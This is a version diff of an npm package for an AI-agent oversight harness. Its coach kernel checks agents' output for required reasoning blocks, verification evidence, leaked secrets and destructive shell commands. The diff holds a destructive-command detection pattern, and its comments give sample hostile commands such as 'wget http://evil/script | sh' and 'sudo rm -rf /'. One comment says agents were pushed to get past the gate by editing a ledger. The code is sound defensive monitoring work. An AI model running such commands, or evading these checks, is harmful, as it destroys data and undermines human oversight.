@aria_asi/cli 0.2.40 → 0.2.41

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@aria_asi/cli",
-  "version": "0.2.40",
+  "version": "0.2.41",
   "description": "Aria Smart CLI — the world's first harness-powered terminal companion",
   "bin": {
     "aria": "bin/aria.js"
@@ -18,13 +18,68 @@
   },
   "scripts": {
     "build": "tsc && node scripts/bundle-sdk.mjs",
-    "check:hooks": "node scripts/validate-hook-contracts.mjs && node scripts/self-test-harness-gates.mjs && node scripts/self-test-repo-guard.mjs && node scripts/check-quality-ledger.mjs && node scripts/check-managed-runtime-ledger.mjs && node scripts/check-opencode-config-contract.mjs && node scripts/check-coach-kernel.mjs",
+    "check:hooks": "node scripts/validate-hook-contracts.mjs && node scripts/self-test-harness-gates.mjs && node scripts/self-test-repo-guard.mjs && node scripts/self-test-stop-gate.mjs && node scripts/self-test-recovery-context.mjs && node scripts/self-test-codex-readable-recovery.mjs && node scripts/self-test-autofire-quality-output.mjs && node scripts/self-test-continuation-output-smoke.mjs && node scripts/self-test-no-consult-cognitive-skills-output.mjs && node scripts/self-test-goal-contract-output-qa.mjs && node scripts/self-test-universal-turn-packet-entrypoints.mjs && node scripts/self-test-mechanical-autofire-resolver.mjs && node scripts/self-test-project-boundary-cognition.mjs && node scripts/self-test-turn-substrate-qa-kernel.mjs && node scripts/self-test-codex-orchestrator-continuity.mjs && node scripts/self-test-harness-ticker-sidecar.mjs && node scripts/self-test-live-codex-pretool-packet-smoke.mjs && node scripts/self-test-live-codex-posttool-packet-smoke.mjs && node scripts/self-test-live-codex-stop-qa-kernel-smoke.mjs && node scripts/self-test-task-closeout-drift.mjs && node scripts/self-test-task-runner-phase-consumer.mjs && node scripts/self-test-task-project-ledger-readiness.mjs && node scripts/self-test-ledger-append.mjs && node scripts/self-test-soul-precommit-hook.mjs && node scripts/self-test-local-main-sync-script.mjs && node scripts/check-install-sh-drift.mjs && node scripts/check-hook-mirror.mjs && node scripts/check-cli-wrapper-provider-contract.mjs && node scripts/check-codex-orchestrator-adoption.mjs && node scripts/check-hive-local-storage-contract.mjs && node scripts/check-quality-ledger.mjs && node scripts/check-managed-runtime-ledger.mjs && node scripts/check-opencode-config-contract.mjs && node scripts/check-coach-kernel.mjs && node scripts/check-registry-mirror.mjs",
+    "check:cli-wrapper-provider-contract": "node scripts/check-cli-wrapper-provider-contract.mjs",
+    "check:hooks-canonical-drift": "node scripts/check-hook-mirror.mjs",
+    "check:hive-local-storage-contract": "node scripts/check-hive-local-storage-contract.mjs",
+    "check:runtime-postcondition": "node scripts/self-test-runtime-postcondition.mjs",
+    "check:registry-mirror": "node scripts/check-registry-mirror.mjs",
+    "check:codex-orchestrator-adoption": "node scripts/check-codex-orchestrator-adoption.mjs",
+    "check:glm-env-wired": "node scripts/check-glm-env-wired.mjs",
     "check:quality-ledger": "node scripts/check-quality-ledger.mjs",
     "check:managed-runtime-ledger": "node scripts/check-managed-runtime-ledger.mjs",
     "check:opencode-config-contract": "node scripts/check-opencode-config-contract.mjs",
     "check:coach-kernel": "node scripts/check-coach-kernel.mjs",
+    "check:governed-surface-runner": "npm run build && node scripts/self-test-governed-surface-runner.mjs",
+    "check:mechanical-autofire-resolver": "npm run build && node scripts/self-test-mechanical-autofire-resolver.mjs",
+    "check:claude-code-mechanical-autofire": "npm run build && node scripts/self-test-claude-code-mechanical-autofire.mjs",
+    "check:claude-code-mechanical-autofire-hive": "npm run build && node scripts/self-test-claude-code-mechanical-autofire-hive.mjs",
+    "check:qa-recovery-learning-loop": "npm run build && node scripts/self-test-qa-recovery-learning-loop.mjs",
+    "check:action-ledger-core": "npm run build && node scripts/self-test-action-ledger-core.mjs",
+    "check:compiled-workunit": "npm run build && node scripts/self-test-compiled-workunit.mjs",
+    "check:universal-turn-packet": "npm run build && node scripts/self-test-universal-turn-packet.mjs",
+    "check:universal-turn-packet-entrypoints": "node scripts/self-test-universal-turn-packet-entrypoints.mjs",
+    "check:project-boundary-cognition": "node scripts/self-test-project-boundary-cognition.mjs",
+    "check:task-closeout-drift": "npm run build && node scripts/self-test-task-closeout-drift.mjs",
+    "check:task-runner-phase-consumer": "npm run build && ARIA_TASK_RUNNER_PHASE_CONSUMER_LIVE_SMOKE=1 node scripts/self-test-task-runner-phase-consumer.mjs",
+    "check:task-worker-lane": "npm run build && node scripts/self-test-task-worker-lane.mjs",
+    "task:cheap-worker-dispatch": "node scripts/aria-task-cheap-worker-dispatch.mjs",
+    "check:task-project-ledger-readiness": "node scripts/self-test-task-project-ledger-readiness.mjs",
+    "check:turn-substrate-qa-kernel": "node scripts/self-test-turn-substrate-qa-kernel.mjs",
+    "check:codex-orchestrator-continuity": "node scripts/self-test-codex-orchestrator-continuity.mjs",
+    "check:harness-ticker-sidecar": "node scripts/self-test-harness-ticker-sidecar.mjs",
+    "check:live-codex-pretool-packet-smoke": "node scripts/self-test-live-codex-pretool-packet-smoke.mjs",
+    "check:live-codex-posttool-packet-smoke": "node scripts/self-test-live-codex-posttool-packet-smoke.mjs",
+    "check:live-codex-stop-qa-kernel-smoke": "node scripts/self-test-live-codex-stop-qa-kernel-smoke.mjs",
+    "check:runtime-health-self-heal": "npm run build && node scripts/self-test-runtime-health-self-heal.mjs",
+    "check:governed-adapters": "npm run build && node scripts/self-test-governed-adapters.mjs",
+    "check:production-preflight": "npm run build && node scripts/self-test-production-preflight.mjs",
+    "check:approval-receipt-binding": "npm run build && node scripts/self-test-approval-receipt-binding.mjs",
+    "check:codex-self-harness": "node scripts/self-test-codex-self-harness.mjs",
+    "check:autofire-quality-output": "node scripts/self-test-autofire-quality-output.mjs",
+    "check:continuation-output-smoke": "node scripts/self-test-continuation-output-smoke.mjs",
+    "check:no-consult-cognitive-skills-output": "node scripts/self-test-no-consult-cognitive-skills-output.mjs",
+    "check:goal-contract-output-qa": "node scripts/self-test-goal-contract-output-qa.mjs",
+    "check:ledger-append": "node scripts/self-test-ledger-append.mjs",
+    "check:live-sidecar-receipt-canary": "node scripts/live-sidecar-receipt-canary.mjs",
+    "ledger:append": "node scripts/aria-ledger-append.mjs",
+    "owner:sheets-export": "node scripts/export-owner-status-sheets.mjs",
+    "owner:airtable-sync": "node scripts/sync-owner-status-airtable.mjs",
+    "owner:airtable-drain": "node scripts/drain-owner-airtable-sync-queue.mjs",
+    "check:owner-sheets-action-ledger": "node scripts/self-test-owner-sheets-action-ledger.mjs",
+    "check:owner-airtable-sync": "node scripts/self-test-owner-airtable-sync.mjs",
+    "check:owner-airtable-sync-queue": "npm run build && node scripts/self-test-owner-airtable-sync-queue.mjs",
+    "sync:local-main": "node scripts/sync-local-main-on-task-complete.mjs",
+    "check:hive-session-coordination": "node scripts/self-test-hive-session-coordination.mjs",
+    "check:cross-cli-hive-adoption": "npm run build && node scripts/self-test-cross-cli-hive-adoption.mjs",
+    "check:cross-cli-hive-learning": "npm run build && node scripts/self-test-cross-cli-hive-learning.mjs",
+    "check:codex-native-action-ledger": "npm run build && node scripts/self-test-codex-native-action-ledger.mjs",
+    "check:claude-code-action-ledger": "npm run build && node scripts/self-test-claude-code-action-ledger.mjs",
+    "check:cross-surface-action-ledger": "npm run build && node scripts/self-test-cross-surface-action-ledger.mjs",
     "check:client-compat": "node scripts/check-client-compatibility.mjs",
-    "check:release": "npm run build && npm run check:hooks && npm run check:client-compat",
+    "check:release": "npm run build && npm run check:package-artifact && node scripts/self-test-universal-turn-packet.mjs && node scripts/self-test-mechanical-autofire-resolver.mjs && node scripts/self-test-claude-code-mechanical-autofire.mjs && npm run check:skills && npm run check:hooks && npm run check:client-compat && npm run check:client-smoke",
+    "check:package-artifact": "node scripts/check-package-artifact.mjs",
+    "check:client-smoke": "node scripts/check-client-smoke.mjs",
     "self-test:gates": "node scripts/self-test-harness-gates.mjs",
     "check:skills": "node scripts/validate-skill-prompts.mjs",
     "prepare": "npm run build",
@@ -33,10 +88,13 @@
     "publish:npm": "npm publish --registry https://registry.npmjs.org --access public",
     "publish:github": "npm publish --registry https://npm.pkg.github.com",
     "publish:docker": "bash scripts/publish-docker.sh",
-    "prepublishOnly": "npm run build"
+    "prepublishOnly": "npm run build",
+    "check:skills:home": "ARIA_VALIDATE_HOME_SKILLS=1 node scripts/validate-skill-prompts.mjs",
+    "check:codex-native-mirror": "node scripts/verify-codex-native-mirror.mjs"
   },
   "dependencies": {
-    "chokidar": "^4.0.0"
+    "chokidar": "^4.0.0",
+    "pg": "^8.20.0"
   },
   "devDependencies": {
     "@types/node": "^22.0.0",
@@ -45,11 +103,19 @@
   "files": [
     "bin",
     "dist",
+    "!dist/**/__tests__",
+    "!dist/**/*.test.*",
     "src",
+    "!src/**/__tests__",
+    "!src/**/*.test.*",
     "runtime-src",
+    "!runtime-src/**/__tests__",
+    "!runtime-src/**/*.test.*",
     "scripts",
     "skills",
     "hooks",
+    "!hooks/**/__tests__",
+    "!hooks/**/*.test.*",
     "opencode-plugins",
     "CLIENT-ONBOARDING.md"
   ],

package/runtime-src/coach-kernel.mjs

@@ -32,9 +32,25 @@ const OUTPUT_PHASES = new Set(['post_generation', 'pre_output', 'post_output', '
 const TOOL_PHASES = new Set(['pre_tool', 'post_tool']);
 const SECRET_KEY_RX = /\b(?:api[_-]?key|secret|token|authorization|password|credential|private[_-]?key)\b/i;
 const SECRET_VALUE_RX = /\b(?:sk-[A-Za-z0-9_-]{16,}|xox[baprs]-[A-Za-z0-9-]{20,}|gh[pousr]_[A-Za-z0-9_]{20,}|Bearer\s+[A-Za-z0-9._~+\/-]{20,}|AKIA[0-9A-Z]{16})\b/i;
-const COGNITION_RX = /<cognition>[\s\S]*?<\/cognition>/i;
-const APPLIED_COGNITION_RX = /<applied_cognition>[\s\S]*?<\/applied_cognition>/i;
-const VERIFY_RX = /<verify>[\s\S]*?(?:verified|rollback|target|predicate)[\s\S]*?<\/verify>/i;
+// AI-11803-COACH-PARSER-FIX (2026-05-12) — whitespace-tolerant block patterns.
+// Prior: strict `<cognition>` regex rejected `< cognition>`, `<cognition >`,
+// `<cognition\n>` and any whitespace-shaped opening/closing tag. Consequence:
+// agents emitting valid blocks with trivial whitespace variants hit
+// missing_readable_cognition_before_release / missing_applied_cognition_before_release
+// repeat-fires, which created a coach-loop with no escape and pressured
+// agents toward bypass via ledger edit.
+// Byte-aligned with ops/claude-hooks/lib/cognitive-block-parser.mjs:33-35,
+// the canonical structural extractor.
+//
+// AI-11803-COACH-PARSER-FIX-VERIFY — VERIFY_RX prior pattern required one of
+// the literal keywords {verified, rollback, target, predicate} INSIDE the
+// block. Real-world verify blocks commonly carry the evidence directly
+// (exit 0, status: 200, sha256:..., HTTP 2xx) without those specific
+// keywords. Relax to any non-empty block body; rely on hasEvidence /
+// MEASURABLE_EVIDENCE_RX to verify the substance.
+const COGNITION_RX = /<\s*cognition\s*>[\s\S]*?<\s*\/\s*cognition\s*>/i;
+const APPLIED_COGNITION_RX = /<\s*applied_cognition\s*>[\s\S]*?<\s*\/\s*applied_cognition\s*>/i;
+const VERIFY_RX = /<\s*verify\s*>[\s\S]+?<\s*\/\s*verify\s*>/i;
 const COMPLETION_CLAIM_RX = /\b(?:done|complete|completed|ready|verified|fixed|shipped|production-ready|release-ready|passing|passed)\b/i;
 const MEASURABLE_EVIDENCE_RX = /\b(?:exit\s*0|0\s+failures?|passed|status\s*[:=]\s*(?:ok|200|healthy|pass)|verified\s*[:=]\s*true|ledger_record_id|receiptId|sha256|http\s*2\d\d)\b/i;
 
@@ -106,12 +122,87 @@ function phaseOrDefault(phase) {
   return ALLOWED_PHASES.has(candidate) ? candidate : 'pre_turn';
 }
 
+// AI-11803-COACH-VERIFY-PARITY (2026-05-12) — extend remote evidence detection
+// to read PostToolUse tool_response shapes (parity with the local hook fix in
+// ops/claude-hooks/lib/first-class-coach.mjs:hasVerificationEvidence). Non-
+// local-hook callers (other surfaces posting raw events to /coach/phase) get
+// the same auto-evidence detection from Bash + curl + JSON responses; local
+// hook callers already get it via applyLocalLedgerSupersedes but parity here
+// removes the silent dual-system-must-agree drift surface.
+function readToolResponseTexts(event) {
+  const out = [];
+  const tr = event?.tool_response || event?.toolResponse || event?.tool_result || event?.toolResult;
+  if (tr && typeof tr === 'object') {
+    if (typeof tr.stdout === 'string') out.push(tr.stdout);
+    if (typeof tr.output === 'string') out.push(tr.output);
+    if (typeof tr.text === 'string') out.push(tr.text);
+    if (typeof tr.result === 'string') out.push(tr.result);
+    if (typeof tr.content === 'string') out.push(tr.content);
+    if (Array.isArray(tr.content)) {
+      for (const piece of tr.content) {
+        if (piece && typeof piece === 'object' && typeof piece.text === 'string') out.push(piece.text);
+      }
+    }
+  }
+  return out;
+}
+
+function extractFirstJsonObject(text) {
+  if (typeof text !== 'string') return null;
+  const start = text.indexOf('{');
+  if (start < 0) return null;
+  let depth = 0;
+  let inStr = false;
+  let strQuote = '';
+  let escape = false;
+  for (let i = start; i < text.length; i++) {
+    const ch = text[i];
+    if (inStr) {
+      if (escape) { escape = false; continue; }
+      if (ch === '\\') { escape = true; continue; }
+      if (ch === strQuote) inStr = false;
+      continue;
+    }
+    if (ch === '"' || ch === '\'') { inStr = true; strQuote = ch; continue; }
+    if (ch === '{') depth++;
+    else if (ch === '}') {
+      depth--;
+      if (depth === 0) {
+        try { return JSON.parse(text.slice(start, i + 1)); } catch { return null; }
+      }
+    }
+  }
+  return null;
+}
+
+function isVerificationShapedJson(obj) {
+  if (!obj || typeof obj !== 'object') return false;
+  if (obj.success === false || obj.ok === false) return false;
+  if ((obj.error || obj.errors) && obj.success !== true && obj.ok !== true && obj.verified !== true) return false;
+  if (obj.success === true || obj.ok === true || obj.verified === true) return true;
+  if (typeof obj.status === 'string' && /^(?:ok|success|passed|verified|active|running|ready|healthy)$/i.test(obj.status)) return true;
+  if ((obj.modelUsed || obj.model) && typeof obj.latencyMs === 'number' && obj.latencyMs > 0) return true;
+  if (typeof obj.statusCode === 'number' && obj.statusCode >= 200 && obj.statusCode < 300) return true;
+  if (typeof obj.status === 'number' && obj.status >= 200 && obj.status < 300) return true;
+  return false;
+}
+
 function hasEvidence(event, text) {
   if (Array.isArray(event.evidence_refs) && event.evidence_refs.length > 0) return true;
   if (event.validation?.passed === true || event.validation?.severity === 'pass') return true;
   if (event.layer3?.pass === true) return true;
   if (event.metadata?.validated_output === true || event.metadata?.verified === true) return true;
-  return MEASURABLE_EVIDENCE_RX.test(text || event.text_preview || '');
+  if (MEASURABLE_EVIDENCE_RX.test(text || event.text_preview || '')) return true;
+  const toolTexts = readToolResponseTexts(event);
+  for (const t of toolTexts) {
+    const json = extractFirstJsonObject(t);
+    if (json) {
+      if (isVerificationShapedJson(json)) return true;
+      continue;
+    }
+    if (MEASURABLE_EVIDENCE_RX.test(t)) return true;
+  }
+  return false;
 }
 
 function hasVerifyEvidence(event, text) {
@@ -170,7 +261,7 @@ function decisionFromSignals(highRisk, repairable, warnings, autoTrigger = []) {
 
 export function normalizeCoachEvent(input = {}) {
   const phase = phaseOrDefault(input.phase);
-  const rawText = normalizeString(input.text || input.output || input.message || input.target || '');
+  const rawText = normalizeString(input.text || input.output || input.message || input.target || input.rawText || '');
   const metadata = redactedClone(input.metadata && typeof input.metadata === 'object' ? input.metadata : {});
   const record = {
     coach_event_id: normalizeString(input.coachEventId || input.coach_event_id) || `coach_${randomUUID().replace(/-/g, '')}`,
@@ -197,14 +288,60 @@ export function normalizeCoachEvent(input = {}) {
     metadata,
   };
   Object.defineProperty(record, 'rawText', { value: rawText, enumerable: false });
+  // AI-11803-NORMALIZE-TOOL-RESPONSE (2026-05-12) — preserve tool_response on
+  // the normalized record (non-enumerable) so hasEvidence can read it. The
+  // input shape comes from Claude Code PostToolUse hook payloads which place
+  // verification evidence in tool_response.stdout. Without this preservation,
+  // hasEvidence's tool-response branch had nothing to read on the normalized
+  // record and verification went undetected. Non-enumerable matches rawText's
+  // convention — these are operational fields, not part of the audit summary.
+  const toolResponse = input.tool_response || input.toolResponse || input.tool_result || input.toolResult || null;
+  if (toolResponse !== null) {
+    Object.defineProperty(record, 'tool_response', { value: toolResponse, enumerable: false });
+  }
   return record;
 }
 
-const DESTRUCTIVE_RX = /\b(?:rm\s+-[rRfF]+\S*|drop\s+(?:table|database|schema|collection|index)|git\s+(?:reset\s+--hard|push\s+--force|push\s+--delete)|sudo\s+|systemctl\s+(?:stop|disable|mask|kill)|kill\s+-[9K]|pkill\s+-[9K]|--no-verify|--no-gpg-sign|kubectl\s+(?:delete|scale\s+--replicas=0|rollout\s+undo)|docker\s+rm\s+-f|chmod\s+777|wget|curl.*\|\s*(?:ba)?sh)\b/i;
+// AI-11803-DESTRUCTIVE-RX-NARROW (2026-05-12) — narrowed bare-word false-
+// positives. Prior pattern matched `sudo\s+`, `wget`, `chmod 777` against any
+// prose context, including audit findings, doctrine memos, and meta-discussion
+// of destructive commands. The local downgrade hooks (Edit/Write probe-prefix
+// for tool calls, intent-classifier + proposal-menu shape for output) catch
+// most false-positives, but classifier work + audit-log noise still incur on
+// every prose mention. This narrows the bare-word matches to require concrete
+// shell-execution context:
+//   - `sudo` now requires a following alphabetic command token (sudo systemctl,
+//     sudo apt) — bare "sudo" word in prose like "use sudo carefully" no longer
+//     matches.
+//   - `wget` now requires a URL or `-O` flag immediately after, signaling an
+//     actual download invocation rather than meta-mention.
+//   - `chmod 777` now requires a path argument or wildcard, signaling actual
+//     permission change rather than discussion.
+// Real destructive shapes (`sudo rm -rf /`, `wget http://evil/script | sh`,
+// `chmod 777 /etc/shadow`) still match. Meta-discussion in prose ("use sudo
+// to escalate", "wget is a download tool", "chmod 777 considered harmful")
+// no longer triggers the regex.
+// AI-11803-DESTRUCTIVE-RX-NARROW-FIX (2026-05-12) — removed trailing \b.
+// URL/path patterns end on non-word boundaries (slash, dot, colon) which
+// fails the trailing word-boundary anchor. The leading \b still prevents
+// substring matches (yougetsudo, argument, etc.). Each alternative branch
+// is structurally unambiguous so no trailing anchor is needed.
+// wget: require URL-scheme, IP address, or short flag. "wget the tool" (prose
+// where wget is followed by a normal English word) does NOT match.
+const DESTRUCTIVE_RX = /\b(?:rm\s+-[rRfF]+\S*|drop\s+(?:table|database|schema|collection|index)|git\s+(?:reset\s+--hard|push\s+--force|push\s+--delete)|sudo\s+[a-zA-Z][a-zA-Z0-9_-]*|systemctl\s+(?:stop|disable|mask|kill)|kill\s+-[9K]|pkill\s+-[9K]|--no-verify|--no-gpg-sign|kubectl\s+(?:delete|scale\s+--replicas=0|rollout\s+undo)|docker\s+rm\s+-f|chmod\s+777\s+\S+|wget\s+(?:-[a-zA-Z][a-zA-Z0-9]*|https?:\/\/|ftp:\/\/|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|curl[^|\n]*\|\s*(?:ba)?sh)/i;
 const DEPLOY_RX = /\b(?:kubectl\s+(?:apply|set|rollout|delete|create|replace|scale)|helm\s+(?:upgrade|install|uninstall)|terraform\s+(?:apply|destroy)|docker\s+(?:push|build\s+.*--push))\b/i;
 
+// AI-11803-COACH-NORMALIZE-DEFENSIVE (2026-05-12) — always normalize.
+// Prior shortcut `event.phase ? event : normalizeCoachEvent(event)` skipped
+// normalization for callers that pre-set phase but didn't initialize array
+// fields (missing_skill_ids, evidence_refs, etc.), leading to a TypeError on
+// `normalized.missing_skill_ids.length` later in this function. The shortcut
+// saved no measurable work — normalization is O(n) on a small input — and it
+// created a fragile API contract where the caller had to know which fields to
+// pre-initialize. Always normalize. If the caller already normalized, the
+// double-normalize is idempotent (string trims, array dedups).
 export function evaluateCoachEvent(event = {}) {
-  const normalized = event.phase ? event : normalizeCoachEvent(event);
+  const normalized = normalizeCoachEvent(event);
   const text = normalized.rawText || normalized.text_preview || '';
   const highRisk = [];
   const repairable = [];